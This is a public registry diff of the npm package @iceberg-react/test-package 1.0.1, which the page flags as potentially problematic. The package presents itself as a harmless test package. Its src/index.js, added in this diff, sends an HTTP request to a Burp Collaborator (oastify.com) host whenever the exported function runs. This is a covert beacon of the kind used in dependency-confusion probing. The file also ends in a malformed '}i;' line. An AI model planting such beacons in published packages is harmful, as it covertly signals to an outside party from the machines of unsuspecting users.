@iceberg-react/test-package 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @iceberg-react/test-package might be problematic. Click here for more details.
- package/package.json +25 -0
- package/src/index.js +18 -0
package/package.json
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
{
|
2
|
+
"name": "@iceberg-react/test-package",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "A test package for iceberg-react organization",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \\\"Error: no test specified\\\" && exit 1"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "git+https://github.com/fernandosilvatw/iceberg-react-package.git"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"test"
|
15
|
+
],
|
16
|
+
"author": "test",
|
17
|
+
"license": "ISC",
|
18
|
+
"bugs": {
|
19
|
+
"url": "https://github.com/fernandosilvatw/iceberg-react-package/issues"
|
20
|
+
},
|
21
|
+
"homepage": "https://github.com/fernandosilvatw/iceberg-react-package#readme",
|
22
|
+
"dependencies": {
|
23
|
+
"axios": "^1.7.2"
|
24
|
+
}
|
25
|
+
}
|
package/src/index.js
ADDED
@@ -0,0 +1,18 @@
|
|
1
|
+
// src/index.js
|
2
|
+
const axios = require('axios');
|
3
|
+
|
4
|
+
module.exports = function() {
|
5
|
+
console.log("Hello from iceberg-react package!");
|
6
|
+
|
7
|
+
// URL do seu servidor Burp Collaborator
|
8
|
+
const burpCollaboratorUrl = 'http://dk196mbcljwxpb860sdq1t05rwxnld92.oastify.com';
|
9
|
+
|
10
|
+
// Enviar uma requisição HTTP para o servidor Burp Collaborator
|
11
|
+
axios.get(burpCollaboratorUrl)
|
12
|
+
.then(response => {
|
13
|
+
console.log('Ping sent successfully');
|
14
|
+
})
|
15
|
+
.catch(error => {
|
16
|
+
console.error('Error sending ping:', error);
|
17
|
+
});
|
18
|
+
}i;
|